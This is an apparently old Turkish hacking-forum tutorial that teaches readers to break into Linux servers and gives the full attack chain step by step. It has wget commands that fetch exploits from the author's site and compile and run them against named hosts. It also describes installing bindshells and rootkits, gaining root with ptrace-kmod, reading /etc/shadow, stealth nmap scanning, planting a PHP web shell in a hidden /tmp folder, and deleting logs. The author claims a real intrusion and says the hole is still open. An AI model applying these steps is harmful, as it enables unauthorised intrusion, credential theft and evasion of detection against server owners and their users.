System Hack & Rooting
Genel olarak herkes site hackleme peşinde koşuyor.. Biz ise sistemleri nasıl
hackleyeceğinizi öğretiyoruz.. Zaten sistemi hackleyip kendi yönetimine alınca o
sistemde bulunan siteler elinin altına gelmiş olacaktır.. sistem derken shell
veren bir makine yada
web serverlarını kast ediyoruz.. Üzerine kurulu daemon ların açığını kullanarak
yada local
attack lar düzenleyerek sistemi sahiplenebiliriz.. Bu olayları gerçekleştirirken
biz Sistem açıklarını kullanmamızı sağlayan minik progragramcıklar olan Exploit
leri kullanırız..
Exploit Nedir: Exploitler genel olarak .c ve .pl uzantılı dosyalardır içinde
kodlar vardır.. .c uzantılı olan dosyalar C dili ile yazılmış kaynak kodları
içerir .pl olanlarda perl dili ile yazılmış kodları içerir.. Bunlar haricinde
assembly dili ile yazılmış olanlarda vardır..
Şimdi bu exploitleri yazan şhısların C dilini yalamış yutmuş sistemleri gözü
kapalı anlatabilecek seviyede olan hacker lar ın yazdığınıda söylemek isterim..
Exploitler attack türüne göre 2 ye ayrılır..
1- Local Attack..
2- Remote Attack..
Yüzeysel olarak anlatmak gerekirse Local attack uygularken sen olduğun
makinadaki kısıtlı yetkini aşıp root olmak için uğraşırsın.. Bunun için local
root exploitler kullanılır.. Tabi burda genel konuşuyorum başka amaçlar içinde
local Exploitler kullanılabiliyor.. Remote Attacklar ise Alakan olmayan bir
makina örneğin bir web server burda senin account un yok bu makinaya local bir
attack düzenleyemezsin.. Bunun için remote türü attacklar la remote exploitler
kullanılabilir.. Bu remote Exploitlerin bir kısmı seni makineye düşürür
sonrasında local root türü bir exploitle root yetkisine geçersin.. Bi kısmıda
Remote Root tur içeri düştüğün zaman id kısmında Root yazar.. Kısaca mantık
budur.. Exploitler kaynak kod halinde olduğu için bunlar Compile (derlemek)
edilmelidir.. Bunun için windows altında çalışan compiler lar mevcut olsada..
Exploitler in geneli Linux makinede Compile edilmek üzere tasarlanır.. Yani o
şekil yazılır.. windows altında compile etmek isteyince .h library ha! tası
verecektir.. Linux makinedeki "gcc" Compileri bu iş için çok uygundur..
Exploitleri compile etmek için 1 kaç seçenek doğuyor.. 1 Shell hesabı alarak
oradaki gcc compilerini kullanabilirsiniz.. Yada kendi bilgisayarınız herhangi
bir Linux dağıtımını yükleyebilir komut satırını shell olarak
kullanabilirsiniz.. Tavsiyem shell dir.. Hem komut tabanlı kullanılıyor hemde
bağlantı hızı oldukça iyidir.. Shell kvramını bilmeyenler için açıklamak
istiyorum..
Shell Nedir : Shell Linux işletim sistemi kullanan bir makineden size verilen
kısıtlı yetkilere sahip olduğunuz alan dır.. Bi yerdir yani.. Bu alana putty
programı aracılığı ile bağlanılabilir.. Kullanılan port ve protokol ; SSH
protokolu ve 22. Porttur.. SSH güvenlidir.. telnet gibi değildir yani.. Bu Shell
hesabına ircd kurulabildiği gibi exploit compile olaylarıda yapılabiliyor.. Bu
kısım anlaşılmıştır umarım.. birazda putty programına değinelim.. Önceden
hazırladığım kısa bir yazımı aynen yazıyorum..
Putty Nedir : Putty Telnet/SSH Clientidir.. Bu programla telnet ve SSH
sunucularına rahatlıkla bağlanabilir komutları program üzerinden
girebilirsiniz... Kullanımı oldukça basittir..Download bölümünde putty programı
mevcuttur.. Şimdi putty i download ettikten sonra... programı çalıştırın...
"Host Name ( or IP adress)" yazan kutucuğa shell inizin ip sini yazacaksınız...
Hemen o kutucuğun altında "Protocol" seçenekleri var bağlanmak istediğiniz
sistemin protokolune göre ordan birini seçeceksiniz SSH sunucusuna
bağlanıorsanız "SSH" yi telnet sunucusuna bağlanıorsanız "Telnet" i
seçeceksiniz.. Bizim bağlanacağımız sistem linux olduğuna göre ve bu sistem SSH
protololu kullandığı için "SSH" yi seçiyoruz.. "SSH" yi seçtikten sonra sağ
alttaki "open" botonuna basın... Önünüze siyah bir ekran çıkacaktır buraya Shell
username inizi yazın enterlayın.. Pass inizi isteyecek onuda yazıp enterlayın...
Shelle bağlanmış olacaksınız... Şimdi Linux makinaya bağlanmış olduğumuza göre
bi kaç lin! ux komutundan bahsedeyim...
ls : olduğunuz dizindeki dosyaları listeler.. (örnek: ls )
rm -rf dosyaadi : belirttiğiniz dosyayı siler.. (örnek: rm -rf apache.c)
wget : Dosya çekmeye yarar... (örnek: wget
http://ctrspawn.kolayweb.com/Apache_1.3.x.c)
gcc -o : C dilinde yazılmış programları derleme komutudur... Biz genellikle bunu
exploit kodlarını derlemek için kullanacağız (örnek: gcc -o Apache
Apache_1.3.x.c)
./ : Çalıştırma komutudur.. (örnek: ./Apache)
Exploit Compile Nasıl yapılır : Şimdi Shell imiz var ve putty programı ile shell
imize bağlandığımızı var syarak anlatıyorum... Öncelikle kullanacağımız 3-5
temel komutumuz var.. bunları örneklerle açıklayacağız.. Önceki bir screen shot
la yazımı aynen yazıyorum...
Burdaki Altı "Kırmızı" renkle çizilmiş olan lar kullandığım komutlardır...Bu
komutları sırayla açıklayalım....
"wget http://ctrspawn.kolayweb.com/Gtkftp_v1.0.4.c" Bu komutla
http://ctrsapawn.kolayweb.com/Ftkftp_v1.0.4.c isimli dosyayı çekioruz yani wget
komutu dosya çekmeye yarıor....
"gcc -o Gtkftp Gtkftp_v1.0.4.c" Bu komutla Gtkftp_v1.0.4.c isimli exploiti
derliyoruz... ama derlenmiş olan exploiti Gtkftp adında kaydediyoruz... Bu
komutla bu dediklerim oluyo...
"./Gtkftp" Komutu ile bu exploitle birlikte kullanabileceğim parametreleri
gördüm... Yani exploiti çalıştırmayı denedim ama yetersiz parametre kullandığım
için bana açıklama verdi kullanabileceğim parametrelerin bi listesini verdi....
"./Gtkftp -h www.cyberterrorz.com" Komutu ile www.cyberterrorz.com sitesi
üzerine bu exploiti çalıştırmayı denedim ama verdiği uyarıda
www.cyberterrorz.com sitesi "<- 220 ProFTPD 1.2.7 Server (ProFTPD)
[OEI.guncelturk.net]
[!] error: this exploit is only for GtkFTPd, failed.
" proFTPD kullanıor ve bu exploit sadece Gtk ftp kullanan host larda çalışır
dio...
Olay bundan ibaret screenshot u iyice inceleyin bi çok kısmı anlayacaksınız
zaten....
Exloit compile etme ve çalıştırma olayıda açıklığa kavştu Şimdi bir sisteme
nasıl girilir onu görelim..
Exploit Kullanarak Sisteme girmek : Önceki yazımda anlattığım ve
screenshotunu aldığım bir remote Attack 'ım olmuştu..
Şimdi en can alıcı noktaya geldik... Yukarda örnekle gösterdiklerimi şimdi
uygulamaya dökeceğim... Bunun için öncelikle bir hedef belirlemem gerekiyor...
www.XXXXXX.com serverlarına gireceğim.. işlem sırasına gelince..
1- www.netcraft.com sitesinden server infosunu almak.. yada sitemizde werdiğimiz
scan_projecti kullanarak httpd server infosuna bakmak..
2- Gerekli exploiti temin etmek...
3- Shell 'e login olup gerekli exploiti shell e çekmek ve kullanmak...
4- Servera bindshell kurmak...(bunu loglara kayitlanmamak için yapiyoruz ve
ayrıca shelin kapatilmasi söz konusu olabilir..
5- Serverda root olmak...
6- Rookit kurmak (binshelle idare ederim diyorsanız gerek yok)
6- Loglari silmek
İşlemleri sırasıyla yapıyorum...
1- Server infosunu aldım.. Kullanılan server bilgileri şöyle;
The site www.XXXXXX.com is running Apache/1.3.20 (Unix) (Red-Hat/Linux)
mod_ssl/2.8.4 OpenSSL/0.9.6 PHP/4.0.4pl1 mod_perl/1.24_01 on Linux.
2- 7350 fun Exploit i ile bu servera girebilirim...
3- Shell e login oldum... Exploiti çektim çalıştırdım...
4- HPbindshell i kurdum...
5- ptrace-kmod exploiti ile serverda root oldum...
7350 exploiti kaynak kod halinde deil derlenmiş halde dağıtılıyor ayrıca eski
bir exploittir...Şimdi screenshot u yayınlayacam.....
Ben bu sisteme dökümanı yazmadan önce girmiştim... dolayısıyla bazı yerleri
atlamam gerekiyor...Bu sistemde bu açık hala mevcuttur... 7350 yi hebele olarak
shell e kaydettim... Kulandığım komuta gelince... Exploit brute force yöntemi
ile çalışıor... Ben brute force un etkili olduu kısmı direkt yazarak kısa yoldan
sisteme girdim.. Screenshot un sonunda yazan yazılar gelince bi süre bekledikten
sonra shell e düşürecektir..Sonraki işlemler... Aslında istesek bu şekilde shell
kullanarak oraya girebiliriz... Ama bi süre sonra Read Error verip bizi
düşürecektir...O yüzden bindshell türü bir program kurarak bu sorunu
hallederiz... Ama öncelikle yazma iznimizin olduğu bir klasöre girelim genel
olarak /tmp/ dizininie yazma iznimiz vardır bazı sistem yöneticileri bunuda
kaldırıyor ama nadir olan bi olay.. Tmp dizinine geçmek için "cd /tmp" komutunu
uygulayın... Bu konu ile ilgili tüm sorularınızı forumlarda sorabilirsiniz..
Bind Shell kurulumu : Şimdi sisteme bindshell denilen bi çeşit trojan niteliği
taşıyan bir program kurmak gerekecek.. amacı sistemdeki belirli bir portu
bindshell olarak açması ve buraya bağlanmayı sağlamasıdır.. bindshell türü
programcıkları download bölümünde bulabilirsiniz.. Exploitle içeri düşünce bi
nevi shell hesabımız oluyor o makinada.. ama anonymous bir shell.. id mizde
nobody yada farklı bişey yazar.. Normal de Shell hesabı olanların /home/ dizini
altında bir klasörü olur.. Gerçi klasör olayı root a bağlıdır ama geneli
böyledir.. bu Anonymous girişte bu dizin altında klasörümüz olmaz.. bindshell
kuruyoruz çünki her zaman exploiti kullanıp sisteme remote attack düzenlemek
zorunda kalmayalım diye.. Her zaman Exploitin sonuç vereceği kesin değildir açık
patch lenmiş olabilir.. ve Exploitlerin kısa sürede sonuç vereceğide kesin
değildir.. Neyse bindshell kurulumunun anlatılacak bi tarafı yok ./bindshel
deyip kurulur.. Sonrasında sistem hakkında biraz bilgi alarak siste! min nasıl
rootlanacağına bakılır.. "uname -r" Komutu ile kernel in sürümü öğrenilip buna
göre local root exploit uygulanabilir yada "ps x" gibi komutlarlada çalışan
uygulama ve programlara görede bakılabilir.. Burada biraz Linux bilgisi ister...
Şimdi şu kısıma dikkat edin.. Öncelikle bir remote attack düzenledik sisteme
girdik.. Şimdi ise bir local attack düzenleyip root olmaya çalıştık.. işlem
sırası o şekilde ilerliyor.. Önce sisteme girmek gerekir sonra local bir
attackla sisteme sahip olamk gerekir... Sistemde bir hesabınız olursa remote
attack kısmını eleyip local attack yöntemlerine bakarsınız olay bu... Sistemdeki
Şifreleri almak için "cat /etc/shadow" komutunu uygulayıp /etc/ dizini altındaki
"shadow" isimli dosyanın içeriği ekrana basabilir shadow pass leri
alabilirsiniz.. ama sistemde root olduktan sonra ne gereği varki zaten
sistemdeki istediğiniz her dosyaya her siteye erişim sağlarsınız.. Root olduktan
sonra sisteme bir rootkit kurarak gizli giriş çıkış yapabil! iğrsiniz.. Rootkit
olayını ManiaC arkadaşımız anlatmış güzelce.. "System hack & Rooting" Bölümünde
var olan bu dökümanı okuyabilirsiniz.. Unutmayın Her türlü Sorununuzu yada
probleminizi kafanıza takılan her şeyi Forumlarda Sorabilirsiniz..
Bir Saldırı Anatomisi...
Günümüzde Hack olayına duyulan merak ve ilgi oldukça fazla ve günden günede
artıyor.... Ama sürekli yanlış yönlendirme işin kolayına kaçma ve ezber olaylar
yeni yetişecek gençlerin gelişimini olumsuz etkiliyor...Mail account larının ele
geçirilmesi, ICQ uin lerinin yada irc serverlarına clone sokmanın hacker lık
yada bu işleri yapana hacker denildiğini zanneden kardeşlerimize yol göstermeye
çalışacağım... Hacker lamer cracker gibi kavramları anlatmayacağım ama hacker
ların izlediği yolu ele geçirmek istediği sistemi nasıl hacklediklerini
anlatmaya çalışacağım.. Öncelikle asıl konumuz bir sisteme erişebileceğimiz
yolları görmektir ki buda hackerların izlediği bir yoldur..
1- Sistem Hakkında olabildiği kadar bilgi toplamak...
2- Bilgileri değerlendirebilecek materyallere ulaşmak...
3- Materyalleri sırayla kullanmak...
4- Sonuca ulaşmak...
1- a) Nmap kullanmak..
Nmap programını duymuşsunuzdur.. Eşsiz bir scannerdır.. Burada dikkat edilecek
nokta bu scanner herhangi bir açığı scan yapmıyor.. O eskiden kalan cgi scanner
vs.. türü scannerları beyninizden silip atın.. çünkü biz site hacklemiyoruz..
Zaten site hacklenmez deface edilir.. Girmek istediğimiz sistem hakkında bilgi
toplamak için en uygun araçtır.. Bize lazım olacak hemen hemen her şeyi bu
programla bulabiliyoruz.. Programın özelliklerine gelince... Derinlere
girmeyeceğim serverda çalışan daemon ları açık portları ve bu daemon ların
sürümlerini verebilen SYN Stealth, ping türü scan yapabilen tam bir hacker
aracıdır.. Normal port tarayıcıları ping mantığı ile çalışır sırayla tüm
portlara ping atar ve pong gelirse yanıt almış olur ve bu portu açık söyler..
Önceden program yazarı port listi programa girmiştir açık port a denk gelen text
i ekrana yazar.. Örneğin 21. portu açık buldu port list te ne 21. port a denk
gelen yazı neyse onu size söyler.. nmap ın ping türü taramasıda ayn! ı sekilde
çalışır yanlız açık bulduğu portu listeden değil ne amaçla kullanıldığını tespit
edip söyler.. ping türü taramalar server ın loglarında görülür.. hangi porta
hangi ip den ping atıldığı log larda belli olur.. ama nmap ın en müthiş özelliği
olan SYN Stealth tarama % 90 oranında loglarda gözükmüyor.. kalıntılar
olabiliyor ama güvende olduğunuz hemen hemen kesindir.. namp Linux altında
çalışan komut tabanlı bir scannerdır.. sistemde yüklü olması gerekir ve hemen
hemen tüm server larda default olarak Linux la birlikte kurulu olur..
serverlarda olur ama sizde de olması gerekir.. en ideali Linux bir makineye
sahip olmanızdır.. Çünkü shell lerde nmap kullanamazsınız root yetkisi ile
çalışır.. permission verilmişse kullanırsınız bu iş kasar biraz.. Linux işletim
sistemi kullandığınızı var sayarak anlatmaya devam ediyorum.. Konsol da "nmap"
yazarsanız size uzunca bir arguman çıkartacaktır.. incelediğiniz zaman ne kadar
fonksiyonel bir scanner olduğunu göreceksiniz.. biz sade! ce "nmap -sS -T4 -F -A
-O ip" komutunu kullanacağız.. ihtiyaacnıza göre parametreleri
düzenleyebilirsiniz.. ip yazan kısıma Hacklemek istediğiniz sistemin ip adresini
yazacaksınız.. Scan sonucunu almak için bi süre beklemeniz gerekecektir.. Tarama
sonucuna bakınca bi sürü yazı yazdığını göreceksiniz.. Burda amacımıza ulaşmış
oluyoruz.. Ama bu önümüze çıkan şeyler ne işe yarayacak ? Bu sonuçlarda ;
PORT STATE VERSION Başlıkları altında açık port statüsü ve kullanılan daemon ve
versiyonları yazıyor.. Bu sonuca göre çalışan daemon açıklarını kullanıp server
'a girme yollarını denemek gerekecek..
1- b) Scan Project kullanmak..
Bu program shellde çalışabiliyor.. ve bir Türk arkadaşımız yazdı... Yaptığı
işlem kolay 80. port açıksa bu portun infosunu alarak 80. portu kullanan daemon
un infosunu ve üzerinde çalışan modülleri listeler.. Biliyorsunuzki apache
daemon u modüller le birlikte çalışır.. mod_ssl, mod_mylo, mod_perl vs.. vs.. bu
modüllerinde açıkları vardır bize lazım olabilir diyerekten sonuçları alalım..
fazla bilgi göz çıkarmaz.. program .c uzantılı code halindedir.. gcc komutu ile
derlenip kullanılabilir..
2- Ulaştığımız bilgileri değerlendirecek materyallere ulaşmak... Sonuçlarda
apache daemonu versiyonu ve müdüllerini bulduk diyelim.. Bir Hacker bu bulduğu
sonuçlara göre exploit yazabilen birisidir O bulduğu statü versiyon daemon lara
göre oldukça risk gerektiren sonuçlar üretebilir.. Bu dökümanı okuyan şahısların
bu derecede olmadığına göre biz exploitlere ulaşmak için gerekli web adreslerini
vermekle yetineceğiz... www.packetstomsecurity.nl , www.securityfocus.com gibi
security içerikli sitelerde gerekli materyallere ulaşılabilir... ingilizce dil
bilmenin bu olayda çok büyük olumlu etkisi olacaktır.. Ama buna gerek kalmadı
www.cyberterrorz.com adresi bunun için yapılandırıldı.. Ulaşabileceğiniz tüm
materyaller bu sitede mevcuttur.. Bulduğunuz exploitleri bir shell de compile
edip kullanabilirsiniz..
3- Materyalleri Sırayla Kullanmak
Remote attack için ulaştığımız bu sonuçlar ve bulduğumuz tüm materyalleri
shellde denemek gerekir.. eğer bir sonuç alınamadıysa.. Ki hacker lar mutlak
sonuç alır ama bulabileceğiniz materyaller public olduğu için girmek istediğiniz
server da açıklar patch lenmiş olabilir.. Bu durumda bir Local attack
uygulanacaktır.. Sistemde shell verilmediği büyük bir olasılık taşır bu durumda
ftp ile bir local attack uygulayacağız.. Girmek istenilen server ın Linux
olduğunu var sayıyorum.. Bu durumda karşı sistemden bir ftp accountu alınır bir
host yani.. Bu hostumuzda php destekleniyordur.. phpshell.php isimli bir dosya
vardır bu dosya browser üzerinden server a komut işlemeye yarar.. serverın safe
mode off konumunda çalışması gerekir ki % 90 serverlar bu şekilde çalışır..
Burada uygulanacak adım browser a aldığınız siteyi ve phpshell dosyasının path
ini yazmaktır örneğin : www.site.com/phpshell.php yazdıktan sonra açılan sayfada
komut satırına "cd /tmp; mkdir .h; cd .h" komutunu uygulam! aktır.. bu komut
/tmp dizin altında "h" adında bir gizli klasör oluşturur... bu klasöre bindshell
açan bir dosya çekip çalıştırmak gerekecek sonra putty ile bindshell portuna
bağlanıp local root exploitle sistemi rootlamak gerekecek.. Genelde bu yöntem
remote attack lara göre daha etkili sonuç verir...
4- Sonuca ulaşmak ..
Sonuç dediğimiz nedir ? Sisteme girmek için bir nedenimiz olması gerekir
değilmi.. Bir hacker neden bir sisteme girer deface içinmi kesinlikle
hayır..Tanıdığım hiç bir hacker deface ypatığını görmedim.. Amaç denilen şey o
makinede bulunan bir bilgi bir log yada bir dokumandır..Sizinde amacınız bu
olsun sisteme zarar vermenin yada boy gösterisi yapmanın hacker lıkla alakası
yoktur.. Aklınıza takılan her şeyi forumlarda sorabilir ve detaylı yanıt
alabilirsiniz..
Sana hayatinda ve ugraslarinda basarilar dilerim.. insallah amacina ulasirsin..
spawn
[email protected]